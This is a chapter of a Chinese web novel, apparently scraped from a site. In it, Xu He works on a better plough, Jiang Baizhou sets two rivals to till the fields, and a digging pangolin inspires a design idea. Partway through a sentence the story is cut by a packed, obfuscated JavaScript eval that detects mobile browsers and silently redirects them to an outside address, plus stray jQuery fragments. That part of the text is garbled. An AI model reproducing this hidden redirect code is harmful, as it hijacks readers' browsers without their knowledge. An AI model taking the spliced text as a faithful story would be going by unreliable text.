46.农女传(六)

作品:《病美人今天也在颠覆历史

    “不对,这样做根本无法让它动起来。”


    徐禾泄气的看着面前散了一地的图纸,桌子上、地上,铺的到处都是,恍若一片白茫茫的雪地上,被踩了无数个黑漆漆的脚印。


    她烦躁的抬手揉搓着头发,飘逸的发丝四处飞扬,原本一丝不苟的发型瞬间成了一团乱麻,宛若枝桠间的鸟巢。


    徐禾实在是没有思路了,她将手里的东西一扔,站起身在屋子里来回踱步,清秀的眉眼搅在一起,把自己活生生折腾成了个苦瓜脸。


    窗外阳光明媚,温温柔柔的暖意将一只麻雀轻轻推到窗口,灰扑扑的羽毛上闪烁着粼粼波光,它瞪着圆溜溜的眼睛好奇的抬头看着屋内那个奇怪的生物,以及她身前突然出现的那道影子。


    “砰!”


    不看路的徐禾在麻雀看好戏的眼神下,一头撞进了一个萦绕着花香的怀抱里。


    她光顾着去思考半缺的图纸,一点没去留神注意身前的东西


    “唔。”


    徐禾仰起脸,瞬间被姜柏舟盛着笑意的眼睛抓住了心神。


    第一次见面的时候,姜柏舟的眼睛就吸引住了她,那双眼睛就像是她小时候意外发现的一池潭水,深不可测,却引诱着她去探索内里的神秘。


    “怎么了这是,一副苦大仇深的模样。”姜柏舟垂下眼,轻轻抬起徐禾的下巴,微凉的指尖激的徐禾打了个寒噤,从旋涡中挣脱出来。


    姜柏舟看着徐禾眼底的乌青,幽幽地叹了口气,“你瞧瞧,这是熬了几个通宵啊。”


    “呃,”回过神的徐禾尴尬一笑,撇开眼不去看她,声音也因为心虚低了几分,“也就是四五个晚上吧。”


    姜柏舟:“……”


    她看着徐禾低眉垂眼的乖顺模样,笑了。


    气笑的。


    姜柏舟真想把叶逐风叫过来,让她来看一看,跟徐禾相比,自己之前干的真是小巫见大巫。


    “你真是……倒也不必这般着急,你要知道,一个物件想要彻底完成,它是需要时间去锤炼改造的,你越是着急,就越是没有想法,倒不如静下心,去四处看看。”


    姜柏舟屈指轻扣徐禾的额角,带着点若有似无的警告,“从今晚开始,再不准你熬夜了,听见没有。”


    只是说这话的时候,姜柏舟全然忘记了她昨晚刚熬了个通宵,被叶逐风念叨了好半响。


    “知道了,知道了,”徐禾全然不知道真相,只是抬手捂住额角闷声闷气地回道。


    其实她也不想这么做,只是想起那抹刺目的猩红,她便忍不住着急。


    快一点,再快一点。


    而且她一旦拿起笔就跟着了魔了一样,等回过神来的时候天就已经大亮了。


    “对了,叶逐风和霍酌川去哪了?他们今天怎么没有跟着你。”徐禾突然想起了什么,探头探脑的朝姜柏舟身后瞧去。


    平常这两个人恨不得全天候黏在姜柏舟身上,如果说叶逐风是明目张胆的粘着,那霍酌川就是暗地里悄悄粘着。


    想起偶然窥见的霍酌川盯着姜柏舟的眼神,徐禾忍不住打了个哆嗦。


    这两个人哪怕一时间手里有事儿要干,眼睛也是一刻不松懈地跟在姜柏舟身后。


    可今天也不知道是怎么一回事,全都消失了个干干净净,到现在徐禾也没听见他俩的动静,总不能是莫名其妙转了性子。


    “哦,我让他们去地里干活去了。”姜柏舟说,语气轻描淡写,丝毫不觉得自己说的话有多么令人匪夷所思。


    “等会,”徐禾诧异地看向姜柏舟,一度怀疑是自己听错了,“你刚刚是不是说,你让他们耕田去了?”


    “是啊,你没听错。你家的地不是还没种完,总不能为了做犁,就让你家的田就此荒了吧。”姜柏舟忽然发现了别的有趣的东西,她的指尖缓缓移到徐禾的耳边,挑起散在脸侧的几缕发丝,手指灵活的将它们编成了一小辫子,末了在里面嵌入了一朵小小的干花,随着徐徐清风拂过徐禾的脸庞,“放心,我给他们钱让他们买牛去了。”


    这是买牛的问题吗?


    徐禾瞪大的眼睛圆溜溜的看着姜柏舟,满脸写着不敢置信和你到底在胡说些什么。


    这两个人真的不会把她家的田给糟蹋了吗?


    或许是徐禾的情绪过于外露,以及眼底的不信任过于扎眼。


    姜柏舟被她逗得弯了弯唇角,眸中的情绪顷刻间化作一潭春水,弥散成了唇角带着戏谑兴味的笑容。


    她俯身冲着徐禾眨了眨眼,“你想不想去看看他们咱们干活的?”


    徐禾:“……啊?”


    说走就走,姜柏舟直接把徐禾领到了地头上。


    烈日当空,金乌展翅,层层堆叠的热浪涌来,在田间山野碎成一瓣又一瓣的碎片,融进了这滚滚红尘里。


    田头被晒的蔫蔫的植物无精打采的垂着脑袋,冷眼看着忙忙碌碌的人类,半点生机活力都没有。


    而在徐禾家那块田地里,霍酌川和叶逐风,一个在最西头,一个在最东头。两个人中间就好似隔着一条看不见摸不着的天堑一般,连空气都被生生隔断,丝毫也不流通。


    没有姜柏舟在身边,两人就像从没见过的陌生人一样,半句话也不说,各领着一头牛埋头苦干,形成了一种诡异又平衡的局面。


    而这幅诡异的画面,都被站在地头的徐禾尽收眼底。


    这两人在那明争暗斗,她隔着这么远都能清晰的嗅到火药味。


    而姜柏舟就是利用了他们这较劲的心思,将这两个闲的没事干玩意全都赶过来种田。


    不是精力旺盛吗,那就干活去吧。


    徐禾看着被汗水浸湿了衣袍的叶逐风和霍酌川二人,以及那两头哼哧哼哧干活的牛,忍不住向一旁的姜柏舟吐槽道:“你是真的不做人啊。”


    “谬赞谬赞。”姜柏舟懒洋洋地打了个哈欠,展开折扇撑在头顶,在那轻慢的眉眼间投下晦涩的阴影。


    随着正午将至,这日头也是愈发毒辣起来。


    叶逐风是最先注意到姜柏舟的。


    她本是想活动活动筋骨,没想到一打眼便看见了那抹青色。这身姿气势除了姜柏舟,也就再没有旁人了。


    叶逐风将手里的东西一扔,连这花大钱买来的牛也不管了,高高兴兴的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384782|195435||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    冲着姜柏舟跑去。


    “小没良心的,你还知道来看我啊。”叶逐风一边朝着姜柏舟抱怨,一边伸出脏兮兮的手扒拉姜柏舟腰间的水囊,还不忘偷偷忘她衣摆上蹭蹭手。一副鬼鬼祟祟的模样。


    而这些小动作姜柏舟看的一清二楚,不过懒得拆除罢了。


    叶逐风大口吞咽着清水,多余的水流顺着脖颈没入衣襟,浇灭了身上的灼意。


    她用手背一抹,极其自然的将那水囊挂在了自己的腰间占为己有,“把我一个人扔在这儿,真是狠心。”


    不过叶逐风虽然嘴上不饶人,可眼底却是明晃晃的笑意。


    连站在一旁的徐禾都能看出来,她这是在撒娇耍宝。


    “行了别耍无赖,快晌午了,来叫你们回家吃饭。”姜柏舟斜睨了她一眼,便将目光放在了一旁还在干活的霍酌川。她目测了一下两人之间隔着的距离,既不想扯着嗓子喊他,也懒得走过去。想了想,姜柏舟从地上捡起了一块石头。她在掌心颠了颠试试重量,手一抬便朝着霍酌川砸了过去。


    石头带着一阵锐利的破空之声朝霍酌川冲去,这架势不像是要吸引他注意,到更像是要砸死他。


    不过霍酌川也不是寻常人,他敏锐地察觉到异样,偏头一躲,那石头便擦着他的发丝砸进了身后刚刚犁好的地里。


    尘土在半空中肆意飞扬,只在原地留下一个深深的土坑——可见姜柏舟用的力气有多大。


    霍酌川抬眼望过去,姜柏舟用扇子轻轻遮住下半张脸,桃花眼儿微弯,恶劣的朝霍酌川勾了勾手指,姿态散漫,示意他过来。


    霍酌川瞥了眼那个土坑,瞬间明白姜柏舟这是又在试探他。他没说什么,而是牵着牛走了过去。


    “走吧,人都齐了。”


    眼见着霍酌川也来了,几人将农具和牛安顿好,便一起往家的方向走去。


    回去的路上叶逐风也不闲着,手贱的薅着路边的花花草草,自己玩还不算,还要往姜柏舟的发间插。被制裁之后才悻悻然的停了手,随口抱怨道:“你别说,这犁还真是沉,哪怕是有牛在,这耕田的速度也够低的,如果耕田能和田鼠打洞一样顺溜就好了。”


    “耕田是耕田,打洞是打洞,这中间差得远了。”姜柏舟将发间的野花摘下,轻飘飘的扫了一眼叶逐风。只是目光在经过徐禾的时候却顿了一下,顺着她的视线落在了草丛里。


    一只龙鲤正在那儿刨土。


    “徐禾,看什么这么入神。”


    姜柏舟冷不丁的开口,探究的眼神放在了徐禾心不在焉的面庞上。


    一反常态的,面对姜柏舟的询问,徐禾却只是胡乱的“嗯”了声算作应付,她脑子里想的还是刚才看见的那只龙鲤。


    龙鲤刨土不算稀奇,真正吸引她心神的,是那龙鲤的鳞片呈斜面排列,泥土顺着斜面滑开,几乎不沾身。


    如果将它应用的犁上......


    徐禾忽然想到刚才闲聊时叶逐风提到的田鼠,眼前一亮,快步朝家里跑去。


    只留给姜柏舟他们一阵肆意飘荡的尘灰烟土和一声“我知道怎么改良了,先走一步”的余音。